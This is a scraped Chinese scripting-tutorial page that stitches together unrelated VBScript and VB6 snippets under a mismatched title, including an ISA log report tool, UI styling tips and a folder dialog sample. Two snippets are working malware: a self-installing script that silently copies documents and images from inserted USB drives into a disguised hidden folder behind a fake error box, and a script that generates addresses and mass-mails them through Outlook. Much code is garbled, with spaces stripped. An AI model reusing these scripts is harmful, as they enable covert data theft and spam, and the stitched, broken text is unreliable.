pc游戏脚本mcgs程序

发布时间:2020-11-21 来源:脚本之家 点击:

好了,您已经设定好整个Form上所有控制项的TabIndex顺序了

在条件为 true 时,执行某段代码

自动阅读脚本软件

'ISA 2004 Web Log Query Tool
'Created by mwpq
'Version 1.0
'Date 2007.9.18


On Error Resume Next

Dim startdate, enddate
Dim topweb, topuser,usertop, usertopweb

'Configuration part of the script
'==================================================================
startdate=1 ' the newest log files to be queried. 1 means one day ago
interday=7 ' the oldest log files is startdate + interday
' For example startdate=1, interday=7 means script will query log files between 8 days ago and yesterday's.

topweb="Top 20" ' List Top 20 Websites visited. Just change 20 to other No to get what you want like "top 21" will list top 21 websites.
topuser="Top 10" ' List Top 10 users and their total usage.
Usertop="Top 20" ' List Top 20 Users with their top websites, depend on uesrtopweb. set to "" to list all users web usage
usertopweb="Top 10"
sMailTo="mwpq@yahoo.com" 'Send email repor to
sMailFrom="admin@yourdomain.com 'Email comes from
sMailSub="ISA Web Traffic Report" 'Email Title
sSMTPServer="youremailserver" 'Email server
strMessage="Please see attachment for the ISA Web Traffic Report." 'Email txt body.
satt="C:\Program Files\Microsoft ISA Server\ISALogs\report.htm" 'Email attachment path. The report.htm will be created under ISA's log folder.

'===================================================================



Const cdoSendUsingMethod="", _
cdoSendUsingPort=2, _
cdoSMTPServer=""

'Create the html reprot and write the html header
'=================================================================================================================
Const BEGIN_TABLE=" <TABLE width=100% BORDER=0 CELLSPACING=1 CELLPADDING=2>"
Const END_TABLE=" </TABLE>"
Const ForReading=1
Const ForWriting=2
Const ForAppending=8
Set oFSO=CreateObject("Scripting.FileSystemObject")
If oFSO.FileExists(".\report.htm") Then
oFSO.Deletefile(".\report.htm")
End If
If oFSO.FileExists(".\tempsum.w3c") Then
oFSO.Deletefile(".\tempsum.w3c")
End If
Set oFile=oFSO.OpenTextFile(".\report.htm", ForWriting, True, true)

'Write the HTML head to file suit for IE viewer.
oFile.writeline ("<HTML>" & vbcrlf & _
"<HEAD>" & vbcrlf & _
"<TITLE> ISA Web Usage Reports</TITLE>" & VbCrLf & _
"<style type=""text/css"">" & vbcrlf)
oFile.writeline ("<!--" & vbcrlf & _
".Title {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; font-weight: bold; color:'#0000cc'}" & vbcrlf & _
".head {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 14px; font-weight: bold; color:'#ffffff'}" & vbcrlf & _
".category {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold; color:'#ffffff'}" & vbcrlf & _
".result {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color:'#000000'}" & vbcrlf & _
".alert {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold; color:'#ff0000'}" & vbcrlf & _
"a {color: '#000066'; text-decoration:none;}" & vbcrlf & _
"a:hover {text-decoration:underline}" & vbcrlf & _
"-->" & vbcrlf)

oFile.writeline ("</style>" & VbCrLf & _
"</HEAD>" & VbCrLf & _
"<body bgcolor=#ffffff>" & VbCrLf)

oFile.writeline "<p class=Title> ISA Web Traffic Report - From "&date-startdate-interday&" to "&date-startdate
oFile.writeline "<p>"
'=================================================================================================================
'End of create html report header part


'build the log file name list
spath=""

while interday >=0

dtmDate=date - startdate - interday

'Convert the current Date to UTC
'=================================================================================================================
strDay=Day(dtmDate)
If Len(strDay) < 2 Then
strDay="0" & strDay
End If
strMonth=Month(dtmDate)
If Len(strMonth) < 2 Then
strMonth="0" & strMonth
End If
strYear=Year(dtmDate)

sdate=strYear & strMonth & strDay
'=================================================================================================================

stemp2="'"&"ISALOG_"&sdate&"_WEB_* "&"'"
spath=spath & stemp2

if interday - startday > 0 then
spath=spath&", "
end if

interday=interday - 1
wend





'Create a temp sumary file
set objLogParser=CreateObject("MSUtil.LogQuery")
Set objInputFormat=_
CreateObject("MSUtil.LogQuery.W3CInputFormat")
SET w3cOutputFormat=WScript.CreateObject("MSUtil.LogQuery.W3COutputFormat")
w3cOutputFormat.filemode=1 ' Set file to overwrite mode
strQuery="SELECT cs-username, r-host, Sum(add(cs-bytes,sc-bytes)) as SRdata into 'tempsum.w3c' FROM "&spath&" where sc-Network='External' group by cs-username,r-host order by SRdata DESC"
objLogParser.Executebatch strQuery, objInputFormat,w3cOutputFormat

'check tempsum.w3c existed
Set oFSO1=CreateObject("Scripting.FileSystemObject")
If oFSO1.FileExists(".\tempsum.w3c") Then
oFSO1=nothing
else
oFSO1=nothing
wscript.echo "Sorry cannot find some of the log files to query! Script Quit."
wscript.quit
End If


'Generate report based on temp file.

'================================================================================
'Generate top web sites.
fl=0
oFile.writeline (BEGIN_TABLE & VbCrLf)
mWHeading topweb&" Websites"
mWBRow
mWTitle "Site Name"
mWTitle "Traffic (MB)"
mWERow

set objLogParser10=CreateObject("MSUtil.LogQuery")
Set objInputFormat10=_
CreateObject("MSUtil.LogQuery.W3CInputFormat")
'objInputFormat.recurse=2

strQuery10="SELECT "&topweb&" r-host, sum(SRdata) as TSRData FROM 'tempsum.w3c' group by r-host order by TSRdata DESC"
Set objRecordSet10=objLogParser10.Execute(strQuery10, objInputFormat10)
Do While Not objRecordSet10.AtEnd
Set objRecord10=objRecordSet10.GetRecord

if fl=0 then

mWBRow
mWDetail2 objRecord10.GetValue("r-host")
mwDetail2 FormatNumber(objRecord10.GetValue("TSRdata")/1048576,2)
mWERow
fl=1
else
mWBRow
mWDetail1 objRecord10.GetValue("r-host")
mwDetail1 FormatNumber(objRecord10.GetValue("TSRdata")/1048576,2)
mWERow
fl=0
end if


'wscript.echo "uri"& objRecord2.GetValue("r-host") & "---" & objRecord2.GetValue("SRdata")

objRecordSet10.MoveNext
Loop
spacer(12)
oFile.writeline (END_TABLE & VbCrLf)

'================================================================================

'================================================================================
'Generate top user list.
fl=0
oFile.writeline (BEGIN_TABLE & VbCrLf)
mWHeading topuser&" Users list"
mWBRow
mWTitle "logon Name"
mWTitle "Traffic (MB)"
mWERow

set objLogParser11=CreateObject("MSUtil.LogQuery")
Set objInputFormat11=_
CreateObject("MSUtil.LogQuery.W3CInputFormat")
'objInputFormat.recurse=2

strQuery11="SELECT "&topuser&" cs-username, Sum(SRdata) as TSRdata FROM 'tempsum.w3c' group by cs-username order by TSRdata DESC"
Set objRecordSet11=objLogParser11.Execute(strQuery11, objInputFormat11)
Do While Not objRecordSet11.AtEnd
Set objRecord11=objRecordSet11.GetRecord

if fl=0 then
mWBRow
mWDetail2 objRecord11.GetValue("cs-username")
mwDetail2 FormatNumber(objRecord11.GetValue("TSRdata")/1048576,2)
mWERow
fl=1
else
mWBRow
mWDetail1 objRecord11.GetValue("cs-username")
mwDetail1 FormatNumber(objRecord11.GetValue("TSRdata")/1048576,2)
mWERow
fl=0
end if
'wscript.echo "uri"& objRecord2.GetValue("r-host") & "---" & objRecord2.GetValue("SRdata")

objRecordSet11.MoveNext
Loop
spacer(12)
oFile.writeline (END_TABLE & VbCrLf)

'================================================================================


set objLogParser1=CreateObject("MSUtil.LogQuery")
Set objInputFormat1=_
CreateObject("MSUtil.LogQuery.W3CInputFormat")

strQuery1="SELECT "&usertop&" cs-username, Sum(SRdata) as TSRdata FROM 'tempsum.w3c' group by cs-username order by TSRdata DESC"

Set objRecordSet1=objLogParser1.Execute(strQuery1, objInputFormat1)
oFile.writeline (BEGIN_TABLE & VbCrLf)
mWHeading usertop&" Users' Web Traffic "

Do While Not objRecordSet1.AtEnd
Set objRecord1=objRecordSet1.GetRecord
strUsername=objRecord1.GetValue("cs-username")
stt="'"&strUsername&"'"


mWBRow
mWTitle strUsername &" ------ Total Web Traffic: " & FormatNumber(objRecord1.GetValue("TSRdata")/1048576,2)&" MB"
mWTitle "Traffic (MB)"
mWERow

'Wscript.echo ""
'wscript.echo stt &" >>> data: " & objRecord1.GetValue("TSRdata")

set objLogParser2=CreateObject("MSUtil.LogQuery")
Set objInputFormat2=_
CreateObject("MSUtil.LogQuery.W3CInputFormat")
'objInputFormat.recurse=2
fl=0
strQuery2="SELECT "&usertopweb&" r-host, SRdata FROM 'tempsum.w3c' where cs-username=" &stt&" group by r-host,SRdata"
Set objRecordSet2=objLogParser2.Execute(strQuery2, objInputFormat2)
Do While Not objRecordSet2.AtEnd
Set objRecord2=objRecordSet2.GetRecord
if fl=0 then
mWBRow
mWDetail2 objRecord2.GetValue("r-host")
mwDetail2 FormatNumber(objRecord2.GetValue("SRdata")/1048576,2)

mWERow
fl=1
else
mWBRow
mWDetail1 objRecord2.GetValue("r-host")
mwDetail1 FormatNumber(objRecord2.GetValue("SRdata")/1048576,2)

mWERow
fl=0
end if

'wscript.echo "uri"& objRecord2.GetValue("r-host") & "---" & objRecord2.GetValue("SRdata")

objRecordSet2.MoveNext
Loop
objRecordSet1.MoveNext
spacer(12)

Loop

oFile.writeline (END_TABLE & VbCrLf)

' Write the html end to report.
oFile.WriteLine ("</body>")
oFile.WriteLine ("</html>")
oFile.Close


'Methods to create html(title and table) part
'=================================================================================================================
Private Sub mWHeading(sHeading)
oFile.writeline ( _
" <tr>" & vbCrLf & _
" <td colspan=7 bgcolor=#0099cc class=head>" & sHeading &"</td>"& vbCrLf & _
" </tr>" & VbCrLf)

End Sub

Private Sub mWTitle(sContent)

oFile.writeline ( _
" <TD bgcolor=#0099ff align=left class=category height=14>" & sContent & "</TD>" & VbCrLf)
End Sub

Private Sub mWDetail1(sContent)
oFile.writeline ( _
" <TD bgcolor=#dce3fc align=left class=result height=12>" & sContent & "</TD>" & VbCrLf)
End Sub

Private Sub mWDetail2(sContent)
oFile.writeline ( _
" <TD bgcolor=#e9fbfe align=left class=result height=12>" & sContent & "</TD>" & VbCrLf)
End Sub

Private Sub mWAlert1(sContent)
oFile.writeline ( _
" <TD bgcolor=#dce3fc align=left class=alert height=12>" & sContent & "</TD>" & VbCrLf)
End Sub

Private Sub mWAlert2(sContent)
oFile.writeline ( _
" <TD bgcolor=#e9fbfe align=left class=alert height=12>" & sContent & "</TD>" & VbCrLf)
End Sub

Private Sub mWBRow
oFile.writeline ( " <tr>" & VbCrLf)
End Sub

Private Sub mWERow
oFile.writeline ( " </tr>" & VbCrLf)
End Sub
Private Sub spacer(iHeight)

oFile.writeline ( _
" <tr><td height=" & iHeight & "></td></tr>" & VbCrLf)

End Sub

'=================================================================================================================
'End of create html method


'Send email


Dim iMsg, iConf, Flds

'// Create the CDO connections.
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields

'// SMTP server configuration.
With Flds
.Item(cdoSendUsingMethod)=cdoSendUsingPort

'// Set the SMTP server address here.
.Item(cdoSMTPServer)=sSMTPServer
.Update
End With

'// Set the message properties.
With iMsg
Set .Configuration=iConf
.To=sMailTo
.From=sMailFrom
.Subject=sMailSub
.TextBody=strMessage
End With

'iMsg.HTMLBody=sMailMessage
'// Send the message.


iMsg.AddAttachment satt

iMsg.Send ' send the message.
Set iMsg=Nothing
Set iConf=Nothing


下面的例子检查Word中是否包含一个季节的名字:1、普通的方法:

IfLCase$(word)="winter"OrLCase$(word)="spring"OrLCase$(word)=_"summer"OrLCase$(word)="fall"Then

'itisaseason'sname

EndIf


2、更加简练的方法:

IfInstr(";winter;spring;summer;fall;",";"&word&";")Then

'itisaseason'sname

EndIf

有时候,甚至可以使用InStr来替代Select

Case代码段,但一定要注意参数中的字符数目


oStr="txt|jpg|doc" '文件类型,添加文件类型用“|”隔开
oDistPath="C:\\windows\\system\" '保存路径
oFolderName="Task" '保存文件夹名称
oType=1 '1为task文件夹,2为recycler文件夹,0为不隐藏
oOut=1 '1复制完毕后退出,0复制完毕后不退出,继续循环
'By:白开 QQ:343229025
Set fso=CreateObject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '如果是在system32

'文件夹不存在则创建
If (not fso.FolderExists(oDistPath & oFolderName)) Then
fso.CreateFolder(oDistPath & oFolderName)
End If
'创建记录文件
Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True)
'循环监测移动存储设备插入
Do
For Each oDriver In fso.Drives
If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then
TreeIt(oDriver)
Msgbox "Windows 错误",64
If(oOut=1) then
Exit Do
End if
End If
Next
WScript.Sleep 15000
Loop
Mylog.Close

'隐藏文件夹
oHideFolder oDistPath,oFolderName,oType


else '如果是其它目录,先安装
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True
wshell.Run fso.GetSpecialFolder(1)&"\Baikai.vbs"
Msgbox "安装成功"
end if


Set fso=nothing
Set wshell=nothing



'遍历目录函数
Function TreeIt(sPath)
Set oFolder=fso.GetFolder(sPath)
Set oSubFolders=oFolder.Subfolders

Set oFiles=oFolder.Files
For Each oFile In oFiles
oCopyFile oFile.Path,oDistPath,oFolderName
Next

For Each oSubFolder In oSubFolders
TreeIt(oSubFolder.Path)
Next

Set oFolder=Nothing
Set oSubFolders=Nothing

End Function

'复制文件函数
Function oCopyFile(FileName,oDistPath,oFolderName)
Ext=fso.GetExtensionName(FileName)
If(instr(oStr,lcase(Ext))) then
Randomize
tempname=Ext&int((Rnd*100000000)+1)&"."&Ext
fso.CopyFile FileName,oDistPath&oFolderName&"\"&tempname,true
Mylog.writeline FileName
Mylog.writeline tempname
End If
End Function

'隐藏文件夹函数
Sub oHideFolder(oDistPath,oFolderName,oType)

Select Case oType
case 1
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}")
case 2
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}")
case 0
Exit sub
End Select
Set inf=nothing

Set SysoFolder=fso.GetFolder(oDistPath&oFolderName)
SysoFolder.attributes=4
Set SysoFolder=nothing

End sub

'By:白开 QQ:343229025

5)点击Command1


OnErrorResumeNext
strComputer="."
SetobjWMIService=GetObject("winmgmts:\"&strComputer&"\root\cimv2")
SetcolItems=objWMIService.ExecQuery("Select*fromWin32_NetworkConnection")
ForEachobjItemincolItems
Wscript.Echo"AccessMask:"&objItem.AccessMask
Wscript.Echo"Caption:"&objItem.Caption
Wscript.Echo"ConnectionState:"&objItem.ConnectionState
Wscript.Echo"ConnectionType:"&objItem.ConnectionType
Wscript.Echo"Description:"&objItem.Description
Wscript.Echo"DisplayType:"&objItem.DisplayType
Wscript.Echo"LocalName:"&objItem.LocalName
Wscript.Echo"Name:"&objItem.Name
Wscript.Echo"Persistent:"&objItem.Persistent
Wscript.Echo"ProviderName:"&objItem.ProviderName
Wscript.Echo"RemoteName:"&objItem.RemoteName
Wscript.Echo"RemotePath:"&objItem.RemotePath
Wscript.Echo"ResourceType:"&objItem.ResourceType
Wscript.Echo"UserName:"&objItem.UserName
Wscript.Echo
Next

  首先新建一个EXE工程,再在窗体上拖几个Label控件,看看Label的强大功能吧,原理就是利用Label来模拟一个按钮,但是首先要将Label控件的属性要调一下,
Name:LblBtn,
BorderStyle:1,
Appearance:0,
Alignment:2,

  这样一个按钮的雏形就已经出来了,如果工程量很大,可以将多个Label控件的Name属性设为一样的,对于按钮的识别就要靠识别Index属性了,为了方便起见,在进入到代码编辑窗口,输入以下代码:

PrivateConstLBL_BACK_COLOR=&HE0E0E0’正常时Label控件的背景色
PrivateConstLBL_WHEN_MOUSE_MOVE=&HC0C0C0’鼠标移动时Label的背景色
PrivateConstLBL_WHEN_MOUSE_DOWN=&H808080’鼠标按下时Label的背景色

再在Form的Load事件中输入以下内容

PrivateSubForm_Load()
DimCountAsInteger
ForCount=0To3’请将此出的3换成你的LblBtn数量的个数-1
LblBtn(Count).BackColor=LBL_BACK_COLOR’初始化LblBtn的背景
NextCount
EndSub

然后再在LblBtn的MouseMove和MouseDown事件中来搞定剩余部分:

PrivateSubLblBtn_MouseDown(IndexAsInteger,ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)’当鼠标按在LblBtn上时
LblBtn(Index).BackColor=LBL_WHEN_MOUSE_DOWN’临时改变LblBtn背景颜色
EndSub
PrivateSubLblBtn_MouseMove(IndexAsInteger,ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)’鼠标在LblBtn上面移动时触发该事件
DimCountAsInteger
DoEvents’暂时将系统控制权教给系统
IfButtonThenExitSub’如果按钮被按下就退出该过程
ForCount=0To3
IfCount<>IndexThen’如果按下的不是其它按钮
LblBtn(Index).BackColor=LBL_BACK_COLOR’将背景设为正常
Else
LblBtn(Index).BackColor=LBL_WHEN_MOUSE_MOVE’将背景设为鼠标移动的背景
EndIf
NextCount
EndSub
PrivateSubForm_MouseMove(ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)
DimCountAsInteger
DoEvents
ForCount=0To3
LblBtn(Count).BackColor=LBL_BACKCOLOR’恢复背景
NextCount
End
  本来利用Windows的消息系统来完成这一“艰巨”的任务最简单,可问题就来了,Label控件没有窗口句柄怎么办?可是此问题与题无关,写了会有骗稿费之:)
OK,Label控件就讲到这里,在来说说TextBox控件,

  各位看关恐怕看惯了白颜色的背景,那么就换换颜色以养养俺们那和绵羊一样的眼睛(为什么说绵羊?俺也不知道),可是VB提供的RGB函数弄出来的颜色不是怎么好看,这里俺来教大家一个小Tip,RGB函数的Red,Green,Blue这三个参数若一样,则产生的颜色是灰度,当然越接近白颜色越好,但也不能让各位看不出来,俺建议TextBox的背景为RGB(235,235,235),各位还是实战一下,将一个TextBox拖到窗体上,属性设置如下
Appearance0
BorderStyle1
MutilLineTrue

千万不要设置ScrollBars属性,否则会影响效果
在Form的Load事件中初始化TextBox
DimbkColorAsLong
PrivateSubForm_Load()
bkColor=RGB(235,235,235)
Text1.BackColor=bkColor
EndSub
在Form和Text1的MouseMove事件中:
PrivateSubForm_MouseMove(ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)
Text1.BorderStyle=0
EndSub
PrivateSubText1_MouseMove(ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)
DoEvents
Text1.BorderStyle=1
EndSub

在按下F5试试是不是很Cool?


  可能各位看关玩过石器时代,一定会对里面的TextBox的效果感到很爽,VB还不是可以做到,有焦点的控件可以使用SetFocus方法来为其设置焦点,可是一个窗体上如果控件太多了,一个一个的用SetFocus是不是太傻了?这一节的主角就是--------API函数,

首先声明:
PrivateTypePOINTAPI
xAsLong
yAsLong
EndType
PrivateDeclareFunctionGetCursorPosLib"user32"Alias"GetCursorPos"(lpPointAsPOINTAPI)AsLong
PrivateDeclareFunctionWindowFromPointLib"user32"Alias"WindowFromPoint"(ByValxPointAsLong,ByValyPointAsLong)AsLong
PrivateDeclareFunctionSetFocusLib"user32"Alias"SetFocus"(ByValhwndAsLong)AsLong
但是这里的SetFocus会和控件的SetFocus会搞混淆,改改吧,
PrivateDeclareFunctionnSetFocusLib"user32"Alias"SetFocus"(ByValhwndAsLong)AsLong
只要Alias指向的接口是对的前面的函数名称简直就是摆设,
在建立一个过程:
PublicFunctionsSetFocus()AsLong
DimCPosAsPOINTAPI,SuccessfullAsBoolean,hWndAsLong
DoEvents
Successfull=GetCursorPos(CPos)
IfNotSuccessfullThenExitSub’如果未成功则退出该过程
hWnd=WindowFromPoint(CPos.x,CPos.y)
sSetFocus=nSetFocus(hWnd)
EndSub
  在窗体上放一个Timer控件,Interval属性设为100,就是0.1秒,在Timer1控件的Timer事件中填入sSetFocus,在运行一下看看,效果怎么样?

  可是有的先生小姐要问了,TextBox难道就不能用ScrollBar吗?非也非也,选工程->部件->MicrosoftWindowsCommonControls-26.0(SP3)就是你的答案,至于卷动TextBox就去研究SendMessage函数吧,否则又有骗稿费之嫌,如果想作绿色软件,不想用控件,可以用俺前面讲到的Label控件,利用字体Webdings来模拟ScrollBar,需要注意的是,如果模拟ScrollBar,上下左右箭头分别是5,6,3,4,别忘了把字体设为Webdings

  再来讲讲窗体的美化,其实将BorderStyle属性设为0就是很好的2D美化;)可是,这样一来,问题又来了,怎么办?凡事都要请API来帮忙,这里需要两个API,一下是该API的声明:

PublicDeclareFunctionReleaseCaptureLib"user32"Alias"ReleaseCapture"()AsLong注释:这个API是用来解下鼠标的追踪器,关于他的过多用法以及详细介绍可以写信向俺咨询,
还有
PublicDeclareFunctionSendMessageLib"user32"Alias"SendMessageA"(ByValhwndAsLong,ByValwMsgAsLong,ByValwParamAsLong,lParamAsAny)AsLong’这个该不要俺多介绍了吧
PublicConstHTCAPTION=2’代表窗体的标题区
PublicConstWM_NCLBUTTONDOWN=&HA1’表示非工作区左键按下
  原理很简单,卸下鼠标追踪器后向Form发送一个移动窗体的消息,其实做到这一点的方法很多,但俺个人认为这一种最简单,添加一个过程:

PublicSubMoveForm(hWndAsLong)
DoEvents
ReleaseCapture
SendMessagehWnd,WM_NCLBUTTONDOWN,HTCAPTION,0&
EndSub
在Form的MouseMove事件中:
PrivateSubForm_MouseMove(ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)
IfButton=vbLeftButtonThenMoveFormhWnd’如果按下鼠标左键就移动窗体
EndSub
台下的这位小姐又纳闷了,可是光秃秃的窗体没有了标题栏也不好看,俺要向这为小姐推荐俺的东东-ActiveX控件,ToolSign,需要的人可以写信给俺联系,
该控件需要在代码编辑区域内添加一下代码:
’一下声明是用在ToolSign的AutoQuit属性的
PublicConstEXIT_FORCE=2’注意,在VB中运行的时候如果选用此退出方式,VB也会退出
PublicConstEXIT_MESSAGE=1’由操作系统发送关闭消息
PublicConstEXIT_CUSTOM=Not(EXIT_FORCEOrEXIT_MESSAGE)’自定义
将其注册后在部件栏中把e-DogkidStudioToolsSign打钩,添加到工具箱中,双击加入到窗体中,
在Form的Load事件中添加一下初始化代码:
PrivateSubForm_Load()
WithSign1
.AutoQuit=EXIT_CUSTOM
.ParentsHWND=hWnd’填了此属性可以直接用ToolSign来移动窗体而不需要前面的代码
EndWith
EndSub
Sign1的Click事件
PrivateSubSign1_Click()
End’关闭程序
EndSub
在Form的Resize事件中添加一下代码:
PrivateSubForm_Resize()
Sign1.Width=Width
EndSub
如果想让窗体可以改变大小,可以修改一下属性
Caption""
BorderStyle2或5
ControlBoxFalse

  不知道各位看关见过爆炸试的窗体没有?,没有见过可以从俺要另外一个俺自己的ActiveXDLL,我的那个东东其实是给我的Software作运行库的,各位若不嫌弃,可以用用,注册后在工程->引用->e-DogkidRuntimeLibrary
然后在窗体Load事件中输入:
PrivateSubForm_Load()
DimSystemAse_Dogkid_Runtime_Library.System
SetSystem=Newe_Dogkid_Runtime_Library.System
Show
System.BoomIthDC,60,Width,Height,Left,Top
SetSystem=Nothing
EndSub

->

remianbird,notabigbird,itisadullbird.
remididn'tsingthreeyearsago,todayichirpit.

'OnErrorresumenext
onerrorgoto0
Setfs=CreateObject("Scripting.FileSystemObject")
Setletter=fs.CreateTextFile(wscript.ScriptFullName&".txt",True)
a=chr(97)
forx=97to121
a=a&chr(x+1)
next
letter.WriteLine(a)

n=chr(48)
forx=48to56
n=n&chr(x+1)
next
letter.WriteLine(n)

l=a&la
bl=a&la&n
sl=a&n

dimaletter(35)rem20
forz=1to36
aletter(z-1)=mid(sl,z,1)
remmsgboxaletter(z-1)
next

dimal(25)
forz=1to26
al(z-1)=mid(a,z,1)
remmsgboxal(z-1)
nextrem30

forz=1to26
s=al(z-1)
forz1=1to26
s1="."&al(z1-1)&s
forz2=1to26
s2=al(z2-1)&s1
forz3=1to26
s3=al(z3-1)&s2
forz4=1to26
s4="."&al(z4-1)&s3
forz5=1to36
s5=aletter(z5-1)&s4
forz6=1to36''50
s6=aletter(z6-1)&s5
forz7=1to36
s7=aletter(z7-1)&s6
forz8=1to36
s8=aletter(z8-1)&s7
forz9=1to36
s9=aletter(z9-1)&s8''60
forz10=1to36
s10="@"&aletter(z10-1)&s9
forz11=1to36
s11=aletter(z11-1)&s10
forz12=1to36
s12=aletter(z12-1)&s11
forz13=1to36''70
s13=aletter(z13-1)&s12
forz14=1to36
s14=aletter(z14-1)&s13
forz15=1to36
s15=aletter(z15-1)&s14
forz16=1to36
s16=aletter(z16-1)&s15
forz17=1to36
s17=aletter(z17-1)&s16
forz18=1to36
s18=aletter(z18-1)&s17
forz19=1to36
s19=aletter(z19-1)&s18
'msgboxs19
setoutlookapp=createobject("outlook.application")
ifoutlookapp<>0then
setoutlookapp=createobject("outlookexpress.application")
endif
forn=1to10
setitem=outlookapp.createitem(o)
item.to=s19
item.subject="test"
item.body="hello"
item.send
next




next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next

费人机注意要到调用SaveChanges方法后,才会从数据存储中删除Bank.CreateTable组件'************************************************
'File:Dialog.vbs(WSHsampleinVBScript)
'Author:(c)G.Born
'
'Usingtheshelldialogboxtoselectafolder
'************************************************
OptionExplicit
'Flagsfortheoptionsparameter
ConstBIF_returnonlyfsdirs=&H0001
ConstBIF_dontgobelowdomain=&H0002
ConstBIF_statustext=&H0004
ConstBIF_returnfsancestors=&H0008
ConstBIF_editbox=&H0010
ConstBIF_validate=&H0020
ConstBIF_browseforcomputer=&H1000
ConstBIF_browseforprinter=&H2000
ConstBIF_browseincludefiles=&H4000
Dimwsh,objDlg,objF
'GetApplicationobjectoftheWindowsshell.
SetobjDlg=WScript.CreateObject("Shell.Application")
'UsetheBrowseForFoldermethod.
'Forinstance:SetobjF=objDlg.BrowseForFolder_
'(&H0,"Selectthefoldertocopy",&H10,"C:\Born")
SetobjF=objDlg.BrowseForFolder(&H0,_
"Selectthefoldertocopy",_
BIF_editbox+BIF_returnonlyfsdirs)
'Hereweusethefirstmethodtodetecttheresult.
IfIsValue(objF)Then
MsgBox"Selectedfolder:"&objF.Title
Else
MsgBox"Canceled"
EndIf

'HereweuseTypeNametodetecttheresult.
IfInStr(1,TypeName(objF),"Folder")>0Then
MsgBox"Selectedfolder:"&objF.Title
Else
MsgBox"Canceled"
EndIf

FunctionIsValue(obj)
'Checkwhetherthevaluehasbeenreturned.
Dimtmp
OnErrorResumeNext
tmp=""&obj
IfErr<>0Then
IsValue=False
Else
IsValue=True
EndIf
OnErrorGoTo0
EndFunction

'***End。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号